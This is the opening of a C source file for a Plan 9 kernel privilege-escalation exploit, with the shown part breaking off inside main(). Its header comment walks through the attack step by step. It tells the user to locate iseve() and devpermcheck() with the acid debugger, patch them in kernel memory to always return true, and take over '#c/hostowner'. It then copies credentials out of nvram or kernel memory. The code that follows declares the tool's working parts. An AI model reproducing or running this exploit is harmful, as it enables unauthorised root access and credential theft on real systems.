Exploit:
/* !!! DO NOT DISTRIBUTE !!! */
/* identity theft
*
* this exploit uses my devenv.c OTRUNC/pwrite vulnerability
* to overwrite specific kernel addresses to help elevate our
* privileges. this exploit is *very* picky, so you *must*
* understand the plan9 kernel and know what you are
* doing, though a best-practice usage example will
* guide new users.
*
* the exploit process is:
* 1) determine the user we're running as
* 2) determine the hostowner for the server
* 3) overwrite specific kernel addresses
* 4) write our username to '#c/hostowner'
* 5) steal credentials by copying nvram or paging
* through kernel memory for resident creds
* 6) reset previously overwritten functions
* 7) write the original username back to '#c/hostowner'
*
* a best practice usage example is to overwrite iseve() so
* the kernel is tricked into thinking we're the host owner.
* secondly, we can overwrite devpermcheck() to trick the
* kernel into thinking we have permissions to access any
* given in-kernel device file. this will give us immediate
* access to things like /srv/fscons and '#S/sdC0/nvram'.
*
* to get the address you want to overwrite, use the plan9
* debugger after you figure out which kernel the system
* is booting:
*
* cpu% acid /386/9pccpu
* /386/9pccpu:386 plan 9 boot image
*
* /sys/lib/acid/port
* /sys/lib/acid/386
* acid: print(iseve)
* 0xf018d3db
* acid: mem(iseve, "X")
* 0x8b0cec83
* acid: print(devpermcheck)
* 0xf0192a6b
* acid: mem(devpermcheck, "X")
* 0x8b14ec83
* acid: ^D
* cpu% ./itheft -n -o nvram.img -s 0,1024 \
* -k 0xf018d3db,83ec0c8b,31c040c3 \
* -k 0xf0192a6b,83ec148b,31c040c3
*
* as you can see, we overwrite the function addresses in
* kmem with:
*
* xorl %eax, %eax
* incl %eax
* retl
*
* a note on exploit effects.
* when we overwrite '#c/hostowner', the kernel
* automatically changes all processes owned by the
* previous hostowner id to the new id. when the exploit
* has obtained the target information from the kernel, it
* will write the previous hostowner id to '#c/hostowner'.
* since *your* id was now just the hostowner id, this
* second write will alter *your* bin/rc instance's owner
* to the id of the original hostowner. this may seem
* desirable, however it isn't. the reason is that despite
* having access to the hostowner's name, we don't have
* access to the hostowner's credentials. thus, access to
* their files and factotum is still disabled.
*
* therefore, it's best to immediately exit your CPU shell
* once the exploit is finished.
*
* lastly, when using a target of Tmem, expect a kernel
* panic when you trigger a page fault with a bad address.
* make sure you define an appropriate base and ceiling
* when paging through memory.
*
* NB: it'd be nice to have a memory disclosure exploit that's
* as reliable as this one to help verify whether or not the
* kernel addresses are as expected (whether or not we've
* ran bin/acid on the appropriate kernel and obtained the
* correct kernel addresses)
*
* Don "north" Bailey 12/27/06
* don.bailey@gmail.com
*
* you say the hill is too steep to climb
* you say you'd like to see me try
* you pick the place and I'll choose the time
* and I'll climb the hill in my own way
* - gilmour/waters
*/
#include <u.h>
#include <libc.h>
enum
{
False,
True,
};
enum
{
Anew,
Aold,
};
enum
{
Tmem,
Tnvram,
};
typedef struct Seg Seg;
typedef struct Kfunc Kfunc;
struct
Seg
{
ulong base;
ulong ceiling;
};
struct
Kfunc
{
int nnew;
int nold;
vlong addr;
uchar * new;
uchar * old;
Kfunc * next;
};
static int outfd;
static int envfd;
static char * us;
static Seg * seg;
static int pagesz;
static Kfunc * kf;
static char * them;
static char * outfile;
static char * envpath;
static int target = Tnvram;
static int spin(void);
static int steal(void);
static int kwrite(int);
static void usage(void);
static int addk(char * );
static int envfile(void);
static uchar gethex(char);
static void cleanup(void);
static int getpagesz(void);
static int envremove(void);
static int addseg(char * );
static void delk(Kfunc ** );
static int myidentity(void);
static int stealfile(char * );
static int youridentity(void);
static int sethostowner(char * );
static void err(const char *, ... );
static void msg(const char *, ... );
static int arguments(int, char ** );
static int userfile(char *, char ** );
static void xstrdup(char *, char ** );
static int parsebytes(char *, uchar **, int * );
void
main(int argc, char * argv[])
{
int e;
e = arguments(argc, argv);
if(!e)
usage();
else
e = spin();